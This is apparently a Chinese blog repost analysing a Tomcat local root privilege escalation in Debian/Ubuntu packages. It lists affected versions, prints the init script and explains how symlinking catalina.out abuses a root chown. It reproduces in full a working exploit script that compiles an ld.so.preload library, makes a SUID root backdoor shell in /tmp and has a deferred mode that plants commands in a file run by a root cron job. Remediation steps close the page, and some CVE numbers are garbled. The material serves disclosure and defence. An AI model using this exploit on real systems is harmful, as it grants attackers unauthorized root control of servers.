1200字范文,内容丰富有趣,写作的好帮手!
1200字范文 > CVE--1240 Tomcat 服务本地提权漏洞

CVE--1240 Tomcat 服务本地提权漏洞

时间:2022-05-29 22:36:49

相关推荐

CVE--1240 Tomcat 服务本地提权漏洞

catalogue

1. 漏洞背景2. 影响范围3. 漏洞原理4. 漏洞PoC5. 修复方案

1. 漏洞背景

Tomcat是个运行在Apache上的应用服务器,支持运行Servlet/JSP应用程序的容器——可以将Tomcat看作是Apache的扩展,实际上Tomcat也可以独立于Apache运行。本地提权漏洞CVE--1240。仅需Tomcat用户低权限,攻击者就能利用该漏洞获取到系统的ROOT权限

Relevant Link:

/advisories/Tomcat-DebPkgs-Root-Privilege-Escalation-Exploit-CVE--1240.htmlhttp://mp./s?__biz=MzIwMDk1MjMyMg==&mid=2247483675&idx=1&sn=4b3333c9a16e2e29c6fed72ad45e0787&mpshare=1&scene=2&srcid=1007lydwyCzkOlwg6aH218Wj&from=timeline&isappinstalled=0#wechat_redirect/vuls/115862.html

2. 影响范围

Tomcat 8 <= 8.0.36-2 Tomcat 7 <= 7.0.70-2 Tomcat 6 <= 6.0.45+dfsg-1~deb8u1受影响的系统包括Debian、Ubuntu,其他使用相应deb包的系统也可能受到影响

3. 漏洞原理

Debian系统的Linux上管理员通常利用apt-get进行包管理,CVE--4438这一漏洞其问题出在Tomcat的deb包中,使用deb包安装的Tomcat程序会自动为管理员安装一个启动脚本:/etc/init.d/tocat*

启动脚本的内容为

#!/bin/sh## /etc/init.d/tomcat7 -- startup script for the Tomcat 6 servlet engine## Written by Miquel van Smoorenburg <miquels@cistron.nl>.# Modified for Debian GNU/Linux by Ian Murdock <imurdock@gnu.ai.mit.edu>.# Modified for Tomcat by Stefan Gybas <sgybas@>.# Modified for Tomcat6 by Thierry Carrez <thierry.carrez@>.# Modified for Tomcat7 by Ernesto Hernandez-Novich <emhn@.ve>.# Additional improvements by Jason Brittain <jason.brittain@>.#### BEGIN INIT INFO# Provides:tomcat7# Required-Start: $local_fs $remote_fs $network# Required-Stop:$local_fs $remote_fs $network# Should-Start:$named# Should-Stop: $named# Default-Start:2 3 4 5# Default-Stop:0 1 6# Short-Description: Start Tomcat.# Description: Start the Tomcat servlet engine.### END INIT INFOset -ePATH=/bin:/usr/bin:/sbin:/usr/sbinNAME=tomcat7DESC="Tomcat servlet engine"DEFAULT=/etc/default/$NAMEJVM_TMP=/tmp/tomcat7-$NAME-tmpif [ `id -u` -ne 0 ]; thenecho "You need root privileges to run this script"exit 1fi# Make sure tomcat is started with system localeif [ -r /etc/default/locale ]; then. /etc/default/localeexport LANGfi. /lib/lsb/init-functionsif [ -r /etc/default/rcS ]; then. /etc/default/rcSfi# The following variables can be overwritten in $DEFAULT# Run Tomcat 7 as this user ID and group IDTOMCAT7_USER=tomcat7TOMCAT7_GROUP=tomcat7# this is a work-around until there is a suitable runtime replacement # for dpkg-architecture for arch:all packages# this function sets the variable OPENJDKSfind_openjdks(){for jvmdir in /usr/lib/jvm/java-7-openjdk-*doif [ -d "${jvmdir}" -a "${jvmdir}" != "/usr/lib/jvm/java-7-openjdk-common" ]thenOPENJDKS=$jvmdirfidonefor jvmdir in /usr/lib/jvm/java-6-openjdk-*doif [ -d "${jvmdir}" -a "${jvmdir}" != "/usr/lib/jvm/java-6-openjdk-common" ]thenOPENJDKS="${OPENJDKS} ${jvmdir}"fidone}OPENJDKS=""find_openjdks# The first existing directory is used for JAVA_HOME (if JAVA_HOME is not# defined in $DEFAULT)JDK_DIRS="/usr/lib/jvm/default-java ${OPENJDKS} /usr/lib/jvm/java-6-openjdk /usr/lib/jvm/java-6-sun /usr/lib/jvm/java-7-oracle"# Look for the right JVM to usefor jdir in $JDK_DIRS; doif [ -r "$jdir/bin/java" -a -z "${JAVA_HOME}" ]; thenJAVA_HOME="$jdir"fidoneexport JAVA_HOME# Directory where the Tomcat 6 binary distribution residesCATALINA_HOME=/usr/share/$NAME# Directory for per-instance configuration files and webappsCATALINA_BASE=/var/lib/$NAME# Use the Java security manager? (yes/no)TOMCAT7_SECURITY=no# Default Java options# Set java.awt.headless=true if JAVA_OPTS is not set so the# Xalan XSL transformer can work without X11 display on JDK 1.4+# It also looks like the default heap size of 64M is not enough for most cases# so the maximum heap size is set to 128Mif [ -z "$JAVA_OPTS" ]; thenJAVA_OPTS="-Djava.awt.headless=true -Xmx128M"fi# End of variables that can be overwritten in $DEFAULT# overwrite settings from default fileif [ -f "$DEFAULT" ]; then. "$DEFAULT"fiif [ ! -f "$CATALINA_HOME/bin/bootstrap.jar" ]; thenlog_failure_msg "$NAME is not installed"exit 1fiPOLICY_CACHE="$CATALINA_BASE/work/catalina.policy"if [ -z "$CATALINA_TMPDIR" ]; thenCATALINA_TMPDIR="$JVM_TMP"fi# Set the JSP compiler if set in the tomcat7.default fileif [ -n "$JSP_COMPILER" ]; thenJAVA_OPTS="$JAVA_OPTS -piler=\"$JSP_COMPILER\""fiSECURITY=""if [ "$TOMCAT7_SECURITY" = "yes" ]; thenSECURITY="-security"fi# Define other required variablesCATALINA_PID="/var/run/$NAME.pid"CATALINA_SH="$CATALINA_HOME/bin/catalina.sh"# Look for Java Secure Sockets Extension (JSSE) JARsif [ -z "${JSSE_HOME}" -a -r "${JAVA_HOME}/jre/lib/jsse.jar" ]; thenJSSE_HOME="${JAVA_HOME}/jre/"ficatalina_sh() {# Escape any double quotes in the value of JAVA_OPTSJAVA_OPTS="$(echo $JAVA_OPTS | sed 's/\"/\\\"/g')"AUTHBIND_COMMAND=""if [ "$AUTHBIND" = "yes" -a "$1" = "start" ]; thenAUTHBIND_COMMAND="/usr/bin/authbind --deep /bin/bash -c "fi# Define the command to run Tomcat's catalina.sh as a daemon# set -a tells sh to export assigned variables to spawned shells.TOMCAT_SH="set -a; JAVA_HOME=\"$JAVA_HOME\"; source \"$DEFAULT\"; \CATALINA_HOME=\"$CATALINA_HOME\"; \CATALINA_BASE=\"$CATALINA_BASE\"; \JAVA_OPTS=\"$JAVA_OPTS\"; \CATALINA_PID=\"$CATALINA_PID\"; \CATALINA_TMPDIR=\"$CATALINA_TMPDIR\"; \LANG=\"$LANG\"; JSSE_HOME=\"$JSSE_HOME\"; \cd \"$CATALINA_BASE\"; \\"$CATALINA_SH\" $@"if [ "$AUTHBIND" = "yes" -a "$1" = "start" ]; thenTOMCAT_SH="'$TOMCAT_SH'"fi# Run the catalina.sh script as a daemonset +eif [ ! -f "$CATALINA_BASE"/logs/catalina.out ]; theninstall -o $TOMCAT7_USER -g adm -m 644 /dev/null "$CATALINA_BASE"/logs/catalina.outfiinstall -o $TOMCAT7_USER -g adm -m 644 /dev/null "$CATALINA_PID"start-stop-daemon --start -b -u "$TOMCAT7_USER" -g "$TOMCAT7_GROUP" \-c "$TOMCAT7_USER" -d "$CATALINA_TMPDIR" -p "$CATALINA_PID" \-x /bin/bash -- -c "$AUTHBIND_COMMAND $TOMCAT_SH"status="$?"set +a -ereturn $status}case "$1" instart)if [ -z "$JAVA_HOME" ]; thenlog_failure_msg "no JDK or JRE found - please set JAVA_HOME"exit 1fiif [ ! -d "$CATALINA_BASE/conf" ]; thenlog_failure_msg "invalid CATALINA_BASE: $CATALINA_BASE"exit 1filog_daemon_msg "Starting $DESC" "$NAME"if start-stop-daemon --test --start --pidfile "$CATALINA_PID" \--user $TOMCAT7_USER --exec "$JAVA_HOME/bin/java" \>/dev/null; then# Regenerate POLICY_CACHE fileumask 022echo "// AUTO-GENERATED FILE from /etc/tomcat7/policy.d/" \> "$POLICY_CACHE"echo "" >> "$POLICY_CACHE"cat $CATALINA_BASE/conf/policy.d/*.policy \>> "$POLICY_CACHE"# Remove / recreate JVM_TMP directoryrm -rf "$JVM_TMP"mkdir -p "$JVM_TMP" || {log_failure_msg "could not create JVM temporary directory"exit 1}chown $TOMCAT7_USER "$JVM_TMP"catalina_sh start $SECURITYsleep 5if start-stop-daemon --test --start --pidfile "$CATALINA_PID" \--user $TOMCAT7_USER --exec "$JAVA_HOME/bin/java" \>/dev/null; thenif [ -f "$CATALINA_PID" ]; thenrm -f "$CATALINA_PID"filog_end_msg 1elselog_end_msg 0fielselog_progress_msg "(already running)"log_end_msg 0fi;;stop)log_daemon_msg "Stopping $DESC" "$NAME"set +eif [ -f "$CATALINA_PID" ]; then start-stop-daemon --stop --pidfile "$CATALINA_PID" \--user "$TOMCAT7_USER" \--retry=TERM/20/KILL/5 >/dev/nullif [ $? -eq 1 ]; thenlog_progress_msg "$DESC is not running but pid file exists, cleaning up"elif [ $? -eq 3 ]; thenPID="`cat $CATALINA_PID`"log_failure_msg "Failed to stop $NAME (pid $PID)"exit 1firm -f "$CATALINA_PID"rm -rf "$JVM_TMP"elselog_progress_msg "(not running)"filog_end_msg 0set -e;;status)set +estart-stop-daemon --test --start --pidfile "$CATALINA_PID" \--user $TOMCAT7_USER --exec "$JAVA_HOME/bin/java" \>/dev/null 2>&1if [ "$?" = "0" ]; thenif [ -f "$CATALINA_PID" ]; thenlog_success_msg "$DESC is not running, but pid file exists."exit 1elselog_success_msg "$DESC is not running."exit 3fielselog_success_msg "$DESC is running with pid `cat $CATALINA_PID`"fiset -e;;restart|force-reload)if [ -f "$CATALINA_PID" ]; then$0 stopsleep 1fi$0 start;;try-restart)if start-stop-daemon --test --start --pidfile "$CATALINA_PID" \--user $TOMCAT7_USER --exec "$JAVA_HOME/bin/java" \>/dev/null; then$0 startfi;;*)log_success_msg "Usage: $0 {start|stop|restart|try-restart|force-reload|status}"exit 1;;esacexit 0

我们跟进重点部分

# Run the catalina.sh script as a daemon set +e touch "$CATALINA_PID" "$CATALINA_BASE"/logs/catalina.out chown $TOMCAT7_USER "$CATALINA_PID" "$CATALINA_BASE"/logs/catalina.out start-stop-daemon --start -b -u "$TOMCAT7_USER" -g "$TOMCAT7_GROUP" -c "$TOMCAT7_USER" -d "$CATALINA_TMPDIR" -p "$CATALINA_PID" -x /bin/bash -- -c "$AUTHBIND_COMMAND $TOMCAT_SH"status="$?"set +a -e

Tomcat服务在启动时(启动脚本代码所示),会将log文件catalina.out的所有者改为Tomcat用户,而启动脚本由linux init(root用户)调用,利用这个特性,我们可以通过创建软链接的方式,将任意文件的属主改为Tomcat账户,达到降ACL的目的。如果将catalina.out修改为指向任意文件的链接将会导致攻击者以高权限随意操作任意系统文件,这是一种典型的配置文件加载劫持的漏洞利用方式

4. 漏洞PoC

Usage: ./tomcat-rootprivesc-deb.sh path_to_catalina.out [-deferred] The exploit can used in two ways: -active (assumed by default) - which waits for a Tomcat restart in a loop and instantly gains/executes a rootshell via ld.so.preload as soon as Tomcat service is restarted. It also gives attacker a chance to execute: kill [tomcat-pid] command to force/speed up a Tomcat restart (done manually by an admin, or potentially by some tomcat service watchdog etc.)-deferred (requires the -deferred switch on argv[2]) - this mode symlinks the logfile to /etc/default/locale and exits. It removes the need for the exploit to run in a loop waiting. Attackers can come back at a later time and check on the /etc/default/locale file. Upon a Tomcat restart / server reboot, the file should be owned by tomcat user. The attackers can then add arbitrary commands to the file which will be executed with root privileges by the /etc/cron.daily/tomcatN logrotation cronjob (run daily around 6:25am on default Ubuntu/Debian Tomcat installations).

tomcat-rootprivesc-deb.sh

#!/bin/bash## Tomcat 6/7/8 on Debian-based distros - Local Root Privilege Escalation Exploit## CVE--1240## Discovered and coded by:## Dawid Golunski# ## This exploit targets Tomcat (versions 6, 7 and 8) packaging on # Debian-based distros including Debian, Ubuntu etc.# It allows attackers with a tomcat shell (e.g. obtained remotely through a # vulnerable java webapp, or locally via weak permissions on webapps in the # Tomcat webroot directories etc.) to escalate their privileges to root.## Usage:# ./tomcat-rootprivesc-deb.sh path_to_catalina.out [-deferred]## The exploit can used in two ways:## -active (assumed by default) - which waits for a Tomcat restart in a loop and instantly# gains/executes a rootshell via ld.so.preload as soon as Tomcat service is restarted. # It also gives attacker a chance to execute: kill [tomcat-pid] command to force/speed up# a Tomcat restart (done manually by an admin, or potentially by some tomcat service watchdog etc.)## -deferred (requires the -deferred switch on argv[2]) - this mode symlinks the logfile to # /etc/default/locale and exits. It removes the need for the exploit to run in a loop waiting. # Attackers can come back at a later time and check on the /etc/default/locale file. Upon a # Tomcat restart / server reboot, the file should be owned by tomcat user. The attackers can# then add arbitrary commands to the file which will be executed with root privileges by # the /etc/cron.daily/tomcatN logrotation cronjob (run daily around 6:25am on default # Ubuntu/Debian Tomcat installations).## See full advisory for details at:# /advisories/Tomcat-DebPkgs-Root-Privilege-Escalation-Exploit-CVE--1240.html## Disclaimer:# For testing purposes only. Do no harm.#BACKDOORSH="/bin/bash"BACKDOORPATH="/tmp/tomcatrootsh"PRIVESCLIB="/tmp/privesclib.so"PRIVESCSRC="/tmp/privesclib.c"SUIDBIN="/usr/bin/sudo"function cleanexit {# Cleanup echo -e "\n[+] Cleaning up..."rm -f $PRIVESCSRCrm -f $PRIVESCLIBrm -f $TOMCATLOGtouch $TOMCATLOGif [ -f /etc/ld.so.preload ]; thenecho -n > /etc/ld.so.preload 2>/dev/nullfiecho -e "\n[+] Job done. Exiting with code $1 \n"exit $1}function ctrl_c() {echo -e "\n[+] Active exploitation aborted. Remember you can use -deferred switch for deferred exploitation."cleanexit 0}#intro echo -e "\033[94m \nTomcat 6/7/8 on Debian-based distros - Local Root Privilege Escalation Exploit\nCVE--1240\n"echo -e "Discovered and coded by: \n\nDawid Golunski \n \033[0m"# Argsif [ $# -lt 1 ]; thenecho -e "\n[!] Exploit usage: \n\n$0 path_to_catalina.out [-deferred]\n"exit 3fiif [ "$2" = "-deferred" ]; thenmode="deferred"elsemode="active"fi# Priv checkecho -e "\n[+] Starting the exploit in [\033[94m$mode\033[0m] mode with the following privileges: \n`id`"id | grep -q tomcatif [ $? -ne 0 ]; thenecho -e "\n[!] You need to execute the exploit as tomcat user! Exiting.\n"exit 3fi# Set target pathsTOMCATLOG="$1"if [ ! -f $TOMCATLOG ]; thenecho -e "\n[!] The specified Tomcat catalina.out log ($TOMCATLOG) doesn't exist. Try again.\n"exit 3fiecho -e "\n[+] Target Tomcat log file set to $TOMCATLOG"# [ Deferred exploitation ]# Symlink the log file to /etc/default/locale file which gets executed daily on default# tomcat installations on Debian/Ubuntu by the /etc/cron.daily/tomcatN logrotation cronjob around 6:25am.# Attackers can freely add their commands to the /etc/default/locale script after Tomcat has been# restarted and file owner gets changed.if [ "$mode" = "deferred" ]; thenrm -f $TOMCATLOG && ln -s /etc/default/locale $TOMCATLOGif [ $? -ne 0 ]; thenecho -e "\n[!] Couldn't remove the $TOMCATLOG file or create a symlink."cleanexit 3fiecho -e "\n[+] Symlink created at: \n`ls -l $TOMCATLOG`"echo -e "\n[+] The current owner of the file is: \n`ls -l /etc/default/locale`"echo -ne "\n[+] Keep an eye on the owner change on /etc/default/locale . After the Tomcat restart / system reboot"echo -ne "\n you'll be able to add arbitrary commands to the file which will get executed with root privileges"echo -ne "\n at ~6:25am by the /etc/cron.daily/tomcatN log rotation cron. See also -active mode if you can't wait ;)\n\n" exit 0fi# [ Active exploitation ]trap ctrl_c INT# Compile privesc preload libraryecho -e "\n[+] Compiling the privesc shared library ($PRIVESCSRC)"cat <<_solibeof_>$PRIVESCSRC#define _GNU_SOURCE#include <stdio.h>#include <sys/stat.h>#include <unistd.h>#include <dlfcn.h>uid_t geteuid(void) {static uid_t (*old_geteuid)();old_geteuid = dlsym(RTLD_NEXT, "geteuid");if ( old_geteuid() == 0 ) {chown("$BACKDOORPATH", 0, 0);chmod("$BACKDOORPATH", 04777);unlink("/etc/ld.so.preload");}return old_geteuid();}_solibeof_gcc -Wall -fPIC -shared -o $PRIVESCLIB $PRIVESCSRC -ldlif [ $? -ne 0 ]; thenecho -e "\n[!] Failed to compile the privesc lib $PRIVESCSRC."cleanexit 2;fi# Prepare backdoor shellcp $BACKDOORSH $BACKDOORPATHecho -e "\n[+] Backdoor/low-priv shell installed at: \n`ls -l $BACKDOORPATH`"# Safety checkif [ -f /etc/ld.so.preload ]; thenecho -e "\n[!] /etc/ld.so.preload already exists. Exiting for safety."cleanexit 2fi# Symlink the log file to ld.so.preloadrm -f $TOMCATLOG && ln -s /etc/ld.so.preload $TOMCATLOGif [ $? -ne 0 ]; thenecho -e "\n[!] Couldn't remove the $TOMCATLOG file or create a symlink."cleanexit 3fiecho -e "\n[+] Symlink created at: \n`ls -l $TOMCATLOG`"# Wait for Tomcat to re-open the logsecho -ne "\n[+] Waiting for Tomcat to re-open the logs/Tomcat service restart..."echo -e "\nYou could speed things up by executing : kill [Tomcat-pid] (as tomcat user) if needed ;)"while :; do sleep 0.1if [ -f /etc/ld.so.preload ]; thenecho $PRIVESCLIB > /etc/ld.so.preloadbreak;fidone# /etc/ld.so.preload file should be owned by tomcat user at this point# Inject the privesc.so shared library to escalate privilegesecho $PRIVESCLIB > /etc/ld.so.preloadecho -e "\n[+] Tomcat restarted. The /etc/ld.so.preload file got created with tomcat privileges: \n`ls -l /etc/ld.so.preload`"echo -e "\n[+] Adding $PRIVESCLIB shared lib to /etc/ld.so.preload"echo -e "\n[+] The /etc/ld.so.preload file now contains: \n`cat /etc/ld.so.preload`"# Escalating privileges via the SUID binary (e.g. /usr/bin/sudo)echo -e "\n[+] Escalating privileges via the $SUIDBIN SUID binary to get root!"sudo --help 2>/dev/null >/dev/null# Check for the rootshellls -l $BACKDOORPATH | grep rws | grep -q rootif [ $? -eq 0 ]; then echo -e "\n[+] Rootshell got assigned root SUID perms at: \n`ls -l $BACKDOORPATH`"echo -e "\n\033[94mPlease tell me you're seeing this too ;)\033[0m"elseecho -e "\n[!] Failed to get root"cleanexit 2fi# Execute the rootshellecho -e "\n[+] Executing the rootshell $BACKDOORPATH now! \n"$BACKDOORPATH -p -c "rm -f /etc/ld.so.preload; rm -f $PRIVESCLIB"$BACKDOORPATH -p# Job done.cleanexit 0

5. 修复方案

0x1: 临时修复方案: chown -h

可更改Tomcat的启动脚本为

chown -h $TOMCAT6_USER "$CATALINA_PID" "$CATALINA_BASE"/logs/catalina.outroot@iZ23und3yqhZ:~# chown --hUsage: chown [OPTION]... [OWNER][:[GROUP]] FILE...or: chown [OPTION]... --reference=RFILE FILE...Change the owner and/or group of each FILE to OWNER and/or GROUP.With --reference, change the owner and group of each FILE to those of RFILE.-c, --changeslike verbose but report only when a change is made-f, --silent, --quiet suppress most error messages-v, --verboseoutput a diagnostic for every file processed--dereferenceaffect the referent of each symbolic link (this isthe default), rather than the symbolic link itself-h, --no-dereference affect symbolic links instead of any referenced file(useful only on systems that can change theownership of a symlink)--from=CURRENT_OWNER:CURRENT_GROUPchange the owner and/or group of each file only ifits current owner and/or group match those specifiedhere. Either may be omitted, in which case a matchis not required for the omitted attribute--no-preserve-root do not treat '/' specially (the default)--preserve-root fail to operate recursively on '/'--reference=RFILE use RFILE's owner and group rather thanspecifying OWNER:GROUP values-R, --recursive operate on files and directories recursivelyThe following options modify how a hierarchy is traversed when the -Roption is also specified. If more than one is specified, only the finalone takes effect.-H if a command line argument is a symbolic linkto a directory, traverse it-L traverse every symbolic link to a directoryencountered-P do not traverse any symbolic links (default)--helpdisplay this help and exit--version output version information and exit

加入 -h 参数防止其他文件所有者被更改(禁止了解析软链接)

0x2: 临时修复方案: chown改为install

# Run the catalina.sh script as a daemonset +eif [ ! -f "$CATALINA_BASE"/logs/catalina.out ]; theninstall -o $TOMCAT7_USER -g adm -m 644 /dev/null "$CATALINA_BASE"/logs/catalina.outfiinstall -o $TOMCAT7_USER -g adm -m 644 /dev/null "$CATALINA_PID"start-stop-daemon --start -b -u "$TOMCAT7_USER" -g "$TOMCAT7_GROUP" -c "$TOMCAT7_USER" -d "$CATALINA_TMPDIR" -p "$CATALINA_PID" -x /bin/bash -- -c "$AUTHBIND_COMMAND $TOMCAT_SH"status="$?"set +a -ereturn $status

0x3: 更新最新Tomcat包

Debian安全小组已经在第一时间修复了受影响的Tomcat上游包,直接更新发行版提供的Tomcat即可(apt-get源已更新)

Copyright (c) LittleHann All rights reserved

本内容不代表本网观点和政治立场,如有侵犯你的权益请联系我们处理。
网友评论
网友评论仅供其表达个人看法,并不表明网站立场。